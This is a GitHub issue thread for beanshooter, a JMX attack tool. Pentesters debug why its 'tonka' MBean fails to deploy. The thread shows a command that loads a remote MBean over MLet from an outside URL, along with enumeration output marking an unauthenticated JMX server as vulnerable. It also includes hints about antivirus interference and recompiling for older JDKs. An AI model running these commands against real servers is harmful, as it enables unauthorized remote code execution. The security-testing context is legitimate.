search

qtc-de / beanshooter

JMX enumeration and attacking tool.
GNU General Public License v3.0
369 stars 45 forks source link

Tonka creation resulting in mlet #31

Open dinosn opened 1 year ago

dinosn commented 1 year ago

Hello,

One more tiny issue that I noticed on recent testing, in many cases the attempt to load a tonka bean will result in a plain mlet,

The command that is used to load the tonka is either from mlet request of from deploy, for example:

root@system:~/tools/rmi/remote-method-guesser# java2 -jar ../beanshooter/beanshooter-4.1.0-jar-with-dependencies.jar mlet load xx.xx.xx.xx 12340 tonka http://aa.bb.cc.dd
[+] Loading MBean from http://aa.bb.cc.dd
[+]
[+] MBean was loaded successfully.
root@system:~/tools/rmi/remote-method-guesser# java2 -jar ../beanshooter/beanshooter-4.1.0-jar-with-dependencies.jar enum xx.xx.xx.xx 12340 
[+] Checking available bound names:
[+]
[+]     * jmxrmi (JMX endpoint: xx.xx.xx.xx:45277)
[+]
[+] Checking for unauthorized access:
[+]
[+]     - Remote MBean server does not require authentication.
[+]       Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+]     - Remote MBeanServer accepted the payload class.
[+]       Configuration Status: Non Default
[+]
[+] Checking available MBeans:
[+]
[+]     - 32 MBeans are currently registred on the MBean server.
[+]       Listing 15 non default MBeans:
[+]       - org.apache.logging.log4j.core.jmx.LoggerContextAdmin (org.apache.logging.log4j2:type=397577f9)
[+]       - oracle.ucp.admin.JDBCUniversalConnectionPoolMBeanImpl (oracle.ucp.admin.UniversalConnectionPoolMBean:name=UniversalConnectionPoolManager-2800480111575401019-2-amdux113)
[+]       - org.apache.logging.log4j.core.jmx.StatusLoggerAdmin (org.apache.logging.log4j2:type=397577f9,component=StatusLogger)
[+]       - javax.management.loading.MLet (DefaultDomain:type=MLet) (action: mlet) <--
[+]       - org.apache.logging.log4j.core.jmx.LoggerConfigAdmin (org.apache.logging.log4j2:type=397577f9,component=Loggers,name=)
[+]       - org.apache.logging.log4j.core.jmx.AppenderAdmin (org.apache.logging.log4j2:type=397577f9,component=Appenders,name=error)
[+]       - com.sun.management.UnixOperatingSystem (java.lang:type=OperatingSystem)
[+]       - oracle.ucp.admin.UniversalConnectionPoolManagerMBean (oracle.ucp.admin:name=UniversalConnectionPoolManagerMBean)
[+]       - sun.management.HotSpotDiagnostic (com.sun.management:type=HotSpotDiagnostic) (action: hotspot)
[+]       - oracle.jdbc.driver.OracleDiagnosabilityMBean (com.oracle.jdbc:type=diagnosability,name=sun.misc.Launcher$AppClassLoader@397577f9)
[+]       - org.apache.logging.log4j.core.jmx.AppenderAdmin (org.apache.logging.log4j2:type=397577f9,component=Appenders,name=console)
[+]       - batchManager.BatchManager (BatchManager:name=BatchManagerInfo)
[+]       - org.apache.logging.log4j.core.jmx.AppenderAdmin (org.apache.logging.log4j2:type=397577f9,component=Appenders,name=info)
[+]       - org.apache.logging.log4j.core.jmx.ContextSelectorAdmin (org.apache.logging.log4j2:type=397577f9,component=ContextSelector)
[+]       - org.apache.logging.log4j.core.jmx.AppenderAdmin (org.apache.logging.log4j2:type=397577f9,component=Appenders,name=warn)

Mlet MBean was not previously registered on the environment but I would had expected the tonka bean to load. Is it something that I'm performing in a wrong order maybe?

Regards, Nicolas

qtc-de commented 1 year ago

Hi Nicolas,

no, you are doing everything correctly. This should be a bug within the deploy mechanism. I guess the tonka deployment causes an exception, that is caught in some catch(...) statement, but then not handled. Therefore, everything seems to work but it isn't. You can already tell that from the short output of your first command. Normally, I try to prevent such outputs and inform the user what is actually happening. I will look into it tomorrow.

Additional information that could help:

  1. If I understand you correctly you encounter the problem for both mlet load and tonka deploy?
  2. What does "many cases" actually mean? On some servers it works on others not? Or on all servers when using one of the latest releases?

And, as always, thanks for reporting :)

Best, Tobias

dinosn commented 1 year ago

Hi Tobias,

Thank you as always for your response.

  1. This is true both will fail on the same way. What is of note, is that the target system before the attempted tonka deploy will not have an mlet mbean loaded but after the failed attempt the mlet bean will be present. ( I assume that this is part of the tonka injection process )

  2. Many cases reference was a piece of thought at that moment of writing, truth is that on the latest release after 3.1 I didn't had a successful tonka deployment. With the 4.x releases I was not able to deploy a tonka bean.

    The environments are different and we see during the assessments several times JMX exposed. I will try to make some local tests as well and if I see something different I will update as well.

Regards, Nicolas

qtc-de commented 1 year ago

Hi Nicolas,

sorry for the late reply.

  1. Yes, you are correct. MLet deployment is part of the tonka deployment process.
  2. I use pretty exhaustive test cases for beanshooter and would be surprised if their is a general problem with the deployment process. During the last weeks, we also encountered some JMX servers and used the tonka deployment without any issues. Have you collected some new insights on this issue over the last weeks?
dinosn commented 1 year ago

Hi! No problem at all. For the 2. I had a discussion with lesleyditlhotlhole, on the error that he was seeing where I suggested him to try with 3.x as well and from there he managed to achieve proper tonka deployment.

On some tests again I was able to deploy with rmg 3 version where 4 did not load the tonka bean. It just came to me a possible idea that on the environment that I'm testing the AV is maybe triggered on the deployment over 4 version and not on 3?

Regards, Nicolas

qtc-de commented 1 year ago

This could be the case. Unfortunately, it will be hard to find out :sweat_smile:

Hopefully I will encounter the same problem at some point and can try to debug it in a live environment. If you have any further ideas how to reproduce the issue, please let me known :)

peter5he1by commented 11 months ago

I have no screenshots saved but I can post here in case it is useful.

I used to get a success while deploying the TonkaBean. The log told me that the MLet or the class or something else are loaded successfully. But when I try to invoke the tonka, I got a instance not found. And lately I accidentally encounter a 'Unsupported major version' error.

Therefore I try to use the model command to grab some system properties to judge which jdk version the server run. And it indeed run a lower version, which is jdk 7. After using custom compiled tonka jar file, I successfully deployed it.

dinosn commented 11 months ago

Hi, thank you for sharing your experience, the tool is really amazing and information found here might help others as well.

I had a similar experience last week but as the MLet is created I used it as https://github.com/qtc-de/beanshooter#mlet-load to load a default tonka and it worked without a problem, on the latest release (4.1.0).

Regards, Nicolas

qtc-de commented 11 months ago

That's interesting :thinking: Actually there should be no difference between deploying the tonka bean directly or loading it via the mlet load command. I will check where the differences between these two approaches are. Maybe there is the root cause of these problems :shrug:

@peter5he1by I guess I have to setup a Jdk7 example server to test against. The error messages should be improved here to clearly indicate what is going wrong. Will work on this in future :wrench: